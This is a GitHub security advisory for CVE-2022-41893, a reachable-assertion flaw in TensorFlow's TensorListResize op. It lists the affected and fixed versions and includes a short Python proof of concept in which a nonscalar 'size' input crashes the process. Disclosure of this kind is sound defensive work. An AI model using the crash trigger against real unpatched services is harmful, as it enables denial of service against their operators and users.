GitHub Advisoryadvisory · PyPI
GHSA-67pf-62xr-q35m `CHECK_EQ` fail in `tf.raw_ops.TensorListResize`
MEDIUM
Official page ↗
- Aliases
- CVE-2022-41893
- Ecosystem
- PyPI
- Packages
- tensorflow, tensorflow-cpu, tensorflow-gpu
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-617
- Reviewed
- 2022-11-21
Affected packages
• PyPI tensorflow: < 2.8.4 → fixed in 2.8.4
• PyPI tensorflow: >= 2.9.0, < 2.9.3 → fixed in 2.9.3
• PyPI tensorflow: >= 2.10.0, < 2.10.1 → fixed in 2.10.1
• PyPI tensorflow-cpu: < 2.8.4 → fixed in 2.8.4
• PyPI tensorflow-gpu: < 2.8.4 → fixed in 2.8.4
• PyPI tensorflow-cpu: >= 2.9.0, < 2.9.3 → fixed in 2.9.3
• PyPI tensorflow-gpu: >= 2.9.0, < 2.9.3 → fixed in 2.9.3
• PyPI tensorflow-cpu: >= 2.10.0, < 2.10.1 → fixed in 2.10.1
• PyPI tensorflow-gpu: >= 2.10.0, < 2.10.1 → fixed in 2.10.1
Description
Impact
If `tf.raw_ops.TensorListResize` is given a nonscalar value for input `size`, it results `CHECK` fail which can be used to trigger a denial of service attack.
```python
import numpy as np
import tensorflow as tf
a = data_structures.tf_tensor_list_new(elements = tf.constant(value=[3, 4, 5]))
b = np.zeros([0, 2, 3, 3])
tf.raw_ops.TensorListResize(input_handle=a, size=b)
```
Patches
We have patched the issue in GitHub commit 888e34b49009a4e734c27ab0c43b0b5102682c56.
The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Pattarakrit Rattankul
Related
Alias · CVE (1)
- CVE-2022-41893 TensorFlow is an open source platform for machine learning. vulnerability
Weakness · CWE (1)
- CWE-617 Reachable Assertion weakness
References
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-67pf-62xr-q35m web
- https://nvd.nist.gov/vuln/detail/CVE-2022-41893 advisory
- https://github.com/tensorflow/tensorflow/commit/888e34b49009a4e734c27ab0c43b0b5102682c56 web
- https://github.com/tensorflow/tensorflow package
- https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/list_kernels.cc web